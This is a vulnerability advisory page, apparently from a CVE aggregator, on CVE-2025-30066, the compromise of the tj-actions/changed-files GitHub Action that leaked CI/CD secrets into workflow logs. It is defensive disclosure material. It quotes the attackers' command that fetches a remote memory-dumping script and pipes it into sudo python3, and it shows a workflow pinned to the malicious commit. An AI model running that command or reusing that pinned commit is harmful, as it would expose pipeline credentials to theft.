tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.
CVE-2025-30066 (GitHub advisory GHSA-mrrh-fwg8-r2c3) is a high-severity vulnerability with a CVSS 3.1 base score of 8.6, classed as Embedded Malicious Code (CWE-506), in tj-actions/changed-files (GitHub Actions). Affected versions: <= 45.0.7. It is fixed in 46.0.1. CISA lists it as a known exploited vulnerability (added 18 Mar 2025).
Published 15 Mar 2025Updated 26 Feb 2026
- CVE ID
- CVE-2025-30066
- GHSA ID
- GHSA-mrrh-fwg8-r2c3
- EPSS
- 69.79%higher than 99.3% of CVEs
- Weakness (CWE)
- CWE-506Embedded Malicious Code
- KEV status
- Known exploitedAdded 18 Mar 2025
- Published
- 15 Mar 2025
- Updated
- 26 Feb 2026
- Ecosystem
- GitHub Actions
- Assigned by (CNA)
- mitre
Summary
Source: OSV (GitHub advisory)
A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.
This has been patched in v46.0.1.
Details
The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.
Key Indicators of Compromise (IoC):
- Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- Retroactively updated tags pointing to the malicious commit:
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution:
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.
Proof of Concept (PoC)
Steps to Reproduce:
- Create a GitHub Actions workflow using the tj-actions/changed-files action:
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
jobs:
changed_files:
runs-on: ubuntu-latest
steps:
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
- Run the workflow and inspect the logs in the Actions tab.
- Vulnerable workflows may display secrets in the logs.
Detection:
Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:
gist.githubusercontent.com
Live reproduction logs:
🔗 Harden-Runner Insights
This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.
Duration of Vulnerability
The vulnerability was active between March 14 and March 15, 2025.
Action Required
-
Review your workflows executed between March 14 and March 15:
- Check the changed-files section for unexpected output.
- Decode suspicious output using the following command:
echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
-
Update workflows referencing the compromised commit:
- If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
-
Tagged versions:
- If you are using tagged versions (e.g.,
v35,v44.5.1), no action is required as these tags have been updated and are now safe to use.
- If you are using tagged versions (e.g.,
-
Rotate potentially exposed secrets:
- As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact
- Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
- Who is impacted:
- Over 23,000 repositories using tj-actions/changed-files.
- Organizations with public repositories are at the highest risk, as their logs may already be compromised.
- Potential consequences:
- Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
- Unauthorized access to source code, infrastructure, and production environments.
- Credential leaks in public repositories, enabling further supply chain attacks.
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:HHigh8.6Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- None
- Scope S
- Changed
- Confidentiality C
- High
- Integrity I
- None
- Availability A
- None
- Exploit Code Maturity E
- High
CISA SSVC decision points
- Exploitation
- active
- Exploited in the wild
- Automatable
- yes
- Attackers can automate this at scale
- Technical impact
- partial
- Limited control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
CISA required action
Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Federal agencies must remediate by 8 Apr 2025.
Affected packages
Source: OSV (GitHub advisory)
- tj-actions/changed-filesGitHub Actions
pkg:github/tj-actions/changed-files- Affected versions
- <= 45.0.7
- Fixed in
- 46.0.1
| Package | Affected versions | Fixed in |
|---|---|---|
tj-actions/changed-files GitHub Actions pkg:github/tj-actions/changed-files |
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 46.0.1 or later.
Patch commits
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Advisories 4
Reports and issues 6
- github.com/espressif/arduino-esp32/issues/11127
- github.com/modal-labs/modal-examples/issues/1100
- github.com/tj-actions/changed-files/issues/2463
- github.com/tj-actions/changed-files/issues/2464
- github.com/tj-actions/changed-files/issues/2477
- web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues…
Write-ups 6
- sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-cha…
- stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compr…
- sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack
- wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2…
- semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised
- blog.gitguardian.com/compromised-tj-actions
Package 1
Other links 8
- cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066
- cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-git…
- stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-…
- news.ycombinator.com/item?id=43368870
- news.ycombinator.com/item?id=43367987
- github.com/tj-actions/changed-files/releases/tag/v46.0.1
Credits
- varunsh-coderanalyst
Questions about CVE-2025-30066
- What is the GHSA ID for CVE-2025-30066?
- GitHub tracks CVE-2025-30066 as GHSA-mrrh-fwg8-r2c3.
- What is the CVSS score of CVE-2025-30066?
- CVE-2025-30066 has a CVSS 3.1 base score of 8.6 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H.
- Which versions are affected by CVE-2025-30066?
- tj-actions/changed-files (GitHub Actions): <= 45.0.7.
- How do I fix CVE-2025-30066?
- Upgrade to 46.0.1 or later. The fix is in pull requests #1111 and #903.
- What is the Package URL (PURL) for CVE-2025-30066?
- The affected package's PURL is pkg:github/tj-actions/changed-files.
- Is CVE-2025-30066 exploited in the wild?
- CISA lists it as a known exploited vulnerability (added 18 Mar 2025). CISA's SSVC assessment rates exploitation as "active". EPSS estimates a 69.79% chance of exploitation in the next 30 days, higher than 99.3% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 2 days ago (13 Oct 2026, 13:30 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.